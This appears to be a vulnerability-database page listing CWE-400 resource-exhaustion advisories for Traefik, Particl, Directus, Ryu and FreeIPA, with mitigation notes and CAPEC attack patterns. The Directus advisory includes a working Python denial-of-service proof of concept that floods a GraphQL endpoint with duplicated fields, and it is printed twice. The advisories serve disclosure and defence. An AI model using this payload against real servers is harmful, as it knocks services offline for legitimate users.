"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-11T20:59:22Z",
"nvd_published_at": "2023-04-14T19:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThere is a vulnerability in [Go when parsing the HTTP headers](https://groups.google.com/g/golang-announce/c/Xdv6JL9ENs8/m/OV40vnafAwAJ), which impacts Traefik.\nHTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service.\n\n### References\n\n- [CVE-2023-24534](https://www.cve.org/CVERecord?id=CVE-2023-24534)\n\n### Patches\n- https://github.com/traefik/traefik/releases/tag/v2.9.10\n- https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).",
"id": "GHSA-7hj9-rv74-5g92",
"modified": "2025-02-13T18:53:59Z",
"published": "2023-04-11T20:59:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-7hj9-rv74-5g92"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29013"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/4ed3964b3586565519249bbdc55eb1b961c08c49"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8v5j-pwr7-w5f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.9.10"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/Xdv6JL9ENs8/m/OV40vnafAwAJ"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230517-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Traefik HTTP header parsing could cause a denial of service "
}
GHSA-7HM5-HF53-P62V
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-04-04 02:38particl through 0.17 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim's disk and RAM.
{
"affected": [],
"aliases": [
"CVE-2018-19153"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-05T21:15:00Z",
"severity": "HIGH"
},
"details": "particl through 0.17 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim\u0027s disk and RAM.",
"id": "GHSA-7hm5-hf53-p62v",
"modified": "2024-04-04T02:38:03Z",
"published": "2022-05-24T17:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19153"
},
{
"type": "WEB",
"url": "https://medium.com/%40dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
},
{
"type": "WEB",
"url": "https://medium.com/@dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
},
{
"type": "WEB",
"url": "http://fc19.ifca.ai/preproceedings/180-preproceedings.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HMH-PFRP-VCX4
Vulnerability from github – Published: 2024-07-08 18:41 – Updated: 2024-11-18 16:26Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3: ```# Field Duplication DoS
GitHub @asantof
import requests
CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = ''
headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', }
id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200
data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' }
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json()) ```
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@directus/env"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39895"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-08T18:41:00Z",
"nvd_published_at": "2024-07-08T17:15:11Z",
"severity": "HIGH"
},
"details": "### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n\n\n\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the \u0027max\u0027 field is duplicated many times, each with the \u0027id\u0027 field duplicated many times inside it.\n`{\u0027query\u0027: \u0027query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }\u0027}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = \u0027http://0.0.0.0:8055/graphql\u0027\nauth_token = \u0027\u0027 \nquery_name = \u0027query_XXXXX\u0027 \ncollection_name = \u0027\u0027 \n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Authorization\u0027: f\u0027Bearer {auth_token}\u0027,\n}\n\nid_payload = \u0027id \u0027 * 200\nmax_payload = \u0027max {\u0027 + id_payload + \u0027 } \u0027\nfull_payload = max_payload * 200\n\ndata = {\n \u0027query\u0027: \u0027query { \u0027 + query_name + \u0027: \u0027 + collection_name + \u0027_aggregated { \u0027 + full_payload + \u0027 } }\u0027\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n\n\n\nAfter running it the service will be unresponsive for a while:\n\n\n\n### Impact\nThe vulnerability impacts the service\u0027s availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.",
"id": "GHSA-7hmh-pfrp-vcx4",
"modified": "2024-11-18T16:26:50Z",
"published": "2024-07-08T18:41:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39895"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Directus GraphQL Field Duplication Denial of Service (DoS)"
}
GHSA-7HMM-WG23-2W7M
Vulnerability from github – Published: 2024-05-05 03:30 – Updated: 2024-07-03 20:13OFPGroupDescStats in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via OFPBucket.len=0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ryu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34483"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-06T14:30:04Z",
"nvd_published_at": "2024-05-05T02:15:06Z",
"severity": "HIGH"
},
"details": "`OFPGroupDescStats` in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via `OFPBucket.len=0`.",
"id": "GHSA-7hmm-wg23-2w7m",
"modified": "2024-07-03T20:13:41Z",
"published": "2024-05-05T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34483"
},
{
"type": "WEB",
"url": "https://github.com/faucetsdn/ryu/issues/193"
},
{
"type": "PACKAGE",
"url": "https://github.com/faucetsdn/ryu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Ryu Infinite Loop vulnerability"
}
GHSA-7HPJ-HFCR-5QWM
Vulnerability from github – Published: 2021-12-06 18:17 – Updated: 2024-09-20 21:57A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2"
},
{
"fixed": "4.6.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.7.0"
},
{
"fixed": "4.7.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.0"
},
{
"fixed": "4.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "freeipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2"
},
{
"fixed": "4.6.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "freeipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.7.0"
},
{
"fixed": "4.7.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "freeipa"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.0"
},
{
"fixed": "4.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-14867"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-12-06T18:13:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.",
"id": "GHSA-7hpj-hfcr-5qwm",
"modified": "2024-09-20T21:57:38Z",
"published": "2021-12-06T18:17:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14867"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2019:4268"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0378"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14867"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7hpj-hfcr-5qwm"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ipa/PYSEC-2019-28.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-db/tree/main/vulns/ipa/PYSEC-2019-28.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/67SEUWJAJ5RMH5K4Q6TS2I7HIMXUGNKF"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WLFL5XDCJ3WT6JCLCQVKHZBLHGW7PW4T"
},
{
"type": "WEB",
"url": "https://www.freeipa.org/page/Releases/4.6.7"
},
{
"type": "WEB",
"url": "https://www.freeipa.org/page/Releases/4.7.4"
},
{
"type": "WEB",
"url": "https://www.freeipa.org/page/Releases/4.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Code injection in FreeIPA"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.